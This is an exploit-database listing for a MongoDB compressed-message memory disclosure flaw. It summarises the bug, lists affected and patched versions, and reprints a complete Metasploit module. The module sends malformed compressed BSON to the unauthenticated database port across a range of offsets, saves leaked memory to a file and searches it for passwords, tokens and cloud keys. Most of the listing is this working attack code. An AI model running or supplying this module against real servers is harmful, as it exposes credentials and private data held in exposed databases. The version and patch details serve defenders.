PACKETSTORM 8.7 HIGH

πŸ“„ MongoDB BSON Decompression OP_COMPRESSED Memory Disclosure_PACKETSTORM:215727

8.7 / 10
HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/SC:N/VI:N/SI:N/VA:N/SA:N

Description

This Metasploit module demonstrates an educational memory leak in MongoDB BSON decompression. It sends malformed BSON in OPCOMPRESSED messages to trigger memory disclosure. Quite a huge list of versions are affected...
Visit Original Source

Basic Information

ID PACKETSTORM:215727
Published Feb 17, 2026 at 00:00

Affected Product

Affected Versions =============================================================================================================================================
| # Title : MongoDB BSON Decompression Memory Disclosure via OP_COMPRESSED |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) |
| # Vendor : https://www.mongodb.com/ |
=============================================================================================================================================

[+] Summary : A memory disclosure vulnerability exists in MongoDB’s handling of compressed wire protocol messages (OP_COMPRESSED).
The issue arises from improper bounds validation during BSON decompression, where a crafted message can declare a manipulated uncompressed size and BSON document length.
By sending a malformed OP_COMPRESSED packet containing a forged BSON length field and inconsistent decompression size, a remote unauthenticated
attacker may trigger an out-of-bounds read condition. This can lead to unintended disclosure of memory contents through server error responses.
The vulnerability is remotely exploitable over the MongoDB service port (default: 27017) and does not require authentication under default configurations where the service is exposed.

[+] Affected Versions :

The vulnerability impacts the following MongoDB Server versions prior to patch releases:

8.2.0 β†’ 8.2.2

8.0.0 β†’ 8.0.16

7.0.0 β†’ 7.0.27

6.0.0 β†’ 6.0.26

5.0.0 β†’ 5.0.31

4.4.0 β†’ 4.4.29

Older 4.2.x, 4.0.x, and 3.6.x branches (unpatched)

Patched Versions

The issue is fixed in:

8.2.3

8.0.17

7.0.28

6.0.27

5.0.32

4.4.30 and later

[+] POC :

##
# This module requires Metasploit: https://metasploit.com/download
# PoC converted from Python to Metasploit Ruby module
##

require 'msf/core'
require 'zlib'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'CVE-2025-14847 MongoDB Memory Leak',
'Description' => %q{
This module demonstrates an educational memory leak in MongoDB BSON decompression.
It sends malformed BSON in OP_COMPRESSED messages to trigger memory disclosure.
},
'Author' => [ 'Antara Mane (Python PoC)', 'Indoushka' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2025-14847' ],
[ 'URL', 'https://example.com/mongodb-leak' ]
],
'Platform' => ['linux','win'],
'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'Automatic', {} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-01-01'
))

register_options(
[
Opt::RPORT(27017),
OptInt.new('MIN_OFFSET', [ true, 'Minimum document length', 20 ]),
OptInt.new('MAX_OFFSET', [ true, 'Maximum document length', 8192 ]),
OptString.new('OUTPUT', [ true, 'File to save leaks', 'leaked.bin' ])
])
end

def send_probe(doc_len, buffer_size)
content = "\x10a\x00\x01\x00\x00\x00"
bson = [doc_len].pack('<i') + content

op_msg = [0].pack('<I') + "\x00" + bson
compressed = Zlib::Deflate.deflate(op_msg)

payload = [2013].pack('<I')
payload += [buffer_size].pack('<i')
payload += [2].pack('C')
payload += compressed

header = [
16 + payload.length,
1,
0,
2012
].pack('<IIII')

connect
sock.put(header + payload)
res = sock.get_once(-1, 2)
disconnect
res || ''
rescue
''
end

def extract_leaks(response)
return [] if response.nil? || response.length < 25

leaks = []

begin
msg_len = response[0,4].unpack('<I')[0]
if response[12,4].unpack('<I')[0] == 2012
raw = Zlib::Inflate.inflate(response[25,msg_len-25])
else
raw = response[16,msg_len-16]
end
rescue
return []
end

raw.scan(/field name '([^']*)'/) do |m|
data = m[0].to_s
next if ['?','a','$db','ping'].include?(data)
leaks << data
end
raw.scan(/type (\d+)/) do |m|
leaks << [m[0].to_i].pack('C')
end

leaks
end

def exploit
print_status("[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak")
print_status("[*] Target: #{rhost}:#{rport}")
print_status("[*] Scanning offsets #{datastore['MIN_OFFSET']}-#{datastore['MAX_OFFSET']}")

all_leaked = ''
unique_leaks = {}

(datastore['MIN_OFFSET']..datastore['MAX_OFFSET']).each do |doc_len|
response = send_probe(doc_len, doc_len + 500)
leaks = extract_leaks(response)

leaks.each do |data|
next if unique_leaks[data]
unique_leaks[data] = true
all_leaked << data

if data.length > 10
preview = data[0,80].force_encoding('utf-8').encode('utf-8', invalid: :replace)
print_good("[+] offset=#{doc_len} len=#{data.length}: #{preview}")
end
end
end

::File.open(datastore['OUTPUT'], 'wb') { |f| f.write(all_leaked) }
print_status("[*] Total leaked: #{all_leaked.length} bytes")
print_status("[*] Unique fragments: #{unique_leaks.length}")
print_status("[*] Saved to: #{datastore['OUTPUT']}")

secrets = ['password','secret','key','token','admin','AKIA']
secrets.each do |s|
if all_leaked.downcase.include?(s.downcase)
print_warning("[!] Found pattern: #{s}")
end
end
end
end


Greetings to :======================================================================
jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
====================================================================================

πŸ’­ Join the Security Discussion

πŸ”’ Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.